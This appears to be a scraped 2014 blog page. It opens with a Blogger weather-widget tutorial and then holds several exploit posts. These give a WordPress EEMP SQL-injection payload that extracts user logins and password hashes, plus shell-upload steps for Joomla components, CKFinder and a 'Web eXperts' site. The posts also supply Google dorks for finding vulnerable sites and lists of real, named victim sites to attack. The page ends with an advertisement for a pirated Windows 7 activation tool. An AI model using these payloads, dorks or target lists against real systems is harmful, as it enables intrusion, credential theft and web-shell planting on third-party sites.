Saturday, 18 January 2014

How to Display a Weather Forecast on Your Blogger

Displaying weather forecast widget on your Blogger blog could be an interesting thing for your visitors. Recently, one of our readers emailed us asking if there was an easy way to display current weather forecast on his blog. Our developers did some research work, and was finally able to prepare a robust and well-functioning Weather forecast widget that displays weather details on the basis of your visitor’s location.In this article, we will show you how to display weather forecast on your blogger blog.

Before anyone use this widget, we will be giving some significant reasons why you should use it too, mainly discussing about its function. Let’s assume a visitor from London, England landed on your site. Now this widget would fetch the data from local weather company and would provide its details accurate. Now if the day is sunny, rainy, cloudy and etc

: The solution

The first thing you need to do is to login into your blogger dashboard. Now go to Template >> Edit HTML >> and search for the skin tag, just above it paste the following piece of CSS coding (you can customize the code if you like, but we are certain that the default one would just be right for everyone).
.MyWeatherDiv .centerContainer {
    width: 300px;
    text-align: left;
    margin-bottom: 200px;
}
.green {
    color: #a6e22d;
}
.teal {
    color: #66d9ef;
}
.purp {
    color: #ae81ff;
}
.pink {
    color: #f92772;
}
.yellow {
    color: #e6db74;
}
.white {
    color: #f8f8f2;
}
.grey {
    color: #616161;
}
.f12 {
    font-size: 12px;
}
.MyWeatherDiv img {
    height: 64px;
    width: 64px;
}
.weatherInfoRight {
    z-index: 999;
    position: fixed;
    top: 10px;
    right: 10px;
}
.weatherInfoLeft {
    z-index: 999;
    position: fixed;
    top: 10px;
    left: 10px;
}
.weatherInfoBottomRight {
    z-index: 999;
    position: fixed;
    bottom: 10px;
    right: 10px;
}
.weatherInfoBottomLeft {
    z-index: 999;
    position: fixed;
    bottom: 10px;
    left: 10px;
}
.MyWeatherDiv {
    display: none;
    background-color: #272822;
    padding: 5px;
    -webkit-border-radius: 10px;
    border-radius: 10px;
}
.MyWeatherInfo {
    text-align: center;
    font-family: 'Segoe UI',Tahoma,Helvetica,Sans-Serif;
    color: white;
    font-size: 14px;
}
#divMyImage {
    display: none;
}
.MyWeatherClose {
    font-family: 'Segoe UI',Tahoma,Helvetica,Sans-Serif;
    cursor: pointer;
    position: absolute;
    right: 10px;
    color: white;
    font-size: 20px;
}
.MWTemperature {
    display: block;
}
.MWPlace {
    display: block;
}
.MWIP {
    display: block;
}
#clear-day {
    display: none;
}
#clear-night {
    display: none;
}
#partly-cloudy-day {
    display: none;
}
#partly-cloudy-night {
    display: none;
}
#cloudy {
    display: none;
}
#rain {
    display: none;
}
#sleet {
    display: none;
}
#snow {
    display: none;
}
#wind {
    display: none;
}
#fog {
    display: none;
}

The second thing is to add the JavaScript file that does the work quite brilliantly. Within your blogger template search for the </head> tag and just above it paste the following JS Coding. (We recommend you to please host the script on your own either on Google Drive or any other service because our script might go down if our quota of bandwidth gets full).
<script type="text/javascript" src="https://dl.dropboxusercontent.com/u/137869302/weather.js"></script>

Lastly, add this styling javascript file just above the </body> tag. You can change the position of the gadget by replacing  position: "right" to left or center. There are many other options for your customization, which could be useful to match your site’s setting.
<script type="text/javascript">
$.MyWeather({
    position: "right",
    showpopup: true,
    temperature: "c",
    closeicon: true,
    showicon: true,
    showtemperature: true,
    showlocation: true,
    showip: true,
    size: 80,
    iconcolor: "white",
    fontcolor: "white",
}, function (e, f, g, a, d, b, c) {
    $("#txtCity").html(e);
    $("#txtCountry").html(f);
    $("#txtIP").html(g);
    $("#txtLatitude").html(a);
    $("#txtLongitude").html(d);
    $("#txtTemperature").html(b);
    $("#picTemp").attr("src", c)
});
</script>

We hope this tutorial may have helped you in learning How to display weather forecast on Your Blogger site. Do give it a try, and let us know what are your thoughts about our latest development by commenting your opinions below

Thursday, 16 January 2014

Wordpress EEMP plugin SQL Injection Vulnerability

Wordpress EEMP plugin SQL Injection Vulnerability

# Exploit Title -> WordPress EEMP plugin SQL Injection Vulnerablity

# Category  -> WebApps
# Google Dork -> inurl:"/wp-content/plugins/EEMP/"
# Platform -> PHP
# Version -> All Versions Infected
# Security Risk -> High

[~] Vulnerability Description  
[~] Exploit
[~] Real.Demo




[~] Vulnerability Description [~] :
===========================
You can inject SQL query/command as an input possibly via web pages. Many web pages take parameters from web user, and make SQL query to the database.
Take for instance when a user login, web page that user name and password and make SQL query to the database to check if a user has valid name and password.
With SQL Injection, it is possible for us to send crafted user name and/or password field that will change the SQL query and thus grant us something else.
  
[~] P0c [~] :
============
Vuln file in :
http://Localhost/{Path}/wp-content/plugins/EEMP/EEMP.php?EEMPid=[Number]  <<-----|

[~] Exploit [~] :
=========
http://3plshow.com.au/Melbourne/wp-content/plugins/EEMP/EEMP.php?EEMPid=-1/*!UnIOn*/+all+/*!SELeCt*/1,2,/*!cOnCat(user_login,0x3a,user_pass)*/,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34+from+wp_users--+MCS
   
[~] D3m0 [~] :
=============
[#] http://3plshow.com.au/Melbourne/wp-content/plugins/EEMP/EEMP.php?EEMPid=1[Inj3ct Here]

[#] http://giftfairevents.com.au/wp-content/plugins/EEMP/EEMP.php?EEMPid=1[Inj3ct Here]

[#] http://www.odma-2013.com.au/wp-content/plugins/EEMP/EEMP.php?EEMPid=1[Inj3ct Here]

=================================

Wednesday, 15 January 2014

Joomla Component com_aclsfgpl File Upload Vulnerability

Google Dork: :inurl:"index.php?option=com_aclsfgpl" add_form

Exploit
You can upload file (.php/.php.jpg...)

P.O.C
127.0.0.1/index.php?option=com_aclsfgpl&Itemid=[num]&ct=servs1&md=add_form

Shell path:
copy shell pic link or 127.0.0.1/components/com_aclsfgpl/photos/

Demo:
http://www.club-plonXgee.com/index.php?option=com_aclsfgpl&Itemid=155&ct=womenm&md=add_form
http://www.triclubsXandiego.org/index.php?option=com_aclsfgpl&Itemid=269&ct=tcsd1&md=add_form
http://aero.decineXs.free.fr/modelisme/index.php?option=com_aclsfgpl&Itemid=90&ct=pet5&md=add_form

Joomla com_aclassfb File Upload Vulnerability


Title : Joomla com_aclassfb File Upload Vulnerability

Category : Web Applications

Type : PHP

Tested : Mozila, Chrome, Opera -> Windows & Linux

Vulnerabillity : File Upload

Dork : inurl:com_aclassfb

File Upload

http://127.0.0.1/index.php?option=com_aclassfb
Exploit 
http://127.0.0.1/index.php?option=com_aclassfb&Itemid=[ID]&ct=[CATEGORY]&md=add_form
POC 
1. Select Category
2. After Select Category, Click “Post New Ad”
http://127.0.0.1/index.php?option=com_aclassfb&Itemid=[ID]&ct=[CATEGORY]&md=add_form
3. Upload Your Shell
extension : .php .php.jpg / etc
Shell Access :
http://127.0.0.1/component/com_aclassfb/photos/
Find Your Shell

CKFinder 2 Remote File Upload Vulnerability


######################################################
 Exploit Title : CKFinder 2 Remote File Upload Vulnerability

 Discovered By : Medrik

Google Dork : inurl:/ckfinder/ckfinder.html

 Vendor Homepage: http://cksource.com/ckfinder

 Version: 2

 Tested on: Windows

##########

 Exploit  
 http://localhost/AnyPath/ckfinder/ckfinder.html

#########

 Dem0 

 http://lnsXw.gov.cn/ckfinder/ckfinder.html
 http://www.wXhcgb.gov.cn/ckfinder/ckfinder.html

Web eXperts FileUpload/SQLi vulnerabilities


: Category
 WebApp

: Dork
intext:"Website Design & Developed By Web eXperts"

 :Exploit

Web eXperts suffers from a File Upload/SQLi vulnerabilities



     :1/File Upload

P.O.C
127.0.0.1/[PATH]/addons/imagelibrary/insert_image.php?wysiwyg=


Shell path

site.ltd/uploads/h4x3d.php.jpg


2/SQli

127.0.0.1/products.php?category_id=sql


Demo

http://www.strivesportXs.com//products.php?category_id=1'
http://www.hangal.coXm.pk/addons/imagelibrary/insert_image.php?wysiwyg=
http://www.strivespXorts.com/addons/imagelibrary/insert_image.php?wysiwyg=
http://www.sarsonXss.com/products.php?category_id=1'
http://www.sirgeXeintl.com/products.php?category_id=1'

Monday, 13 January 2014

Activate Windows 7 lifelong


Activate Windows 7 lifelong
For all the versions wonderful and unique
Wonderful program easy to use





The official website of the program


Download Page
Follow Us

Like Us

Follow

© Xrotinex Zoom All rights reserved | Theme Designed by Hk Squad | Probtemplates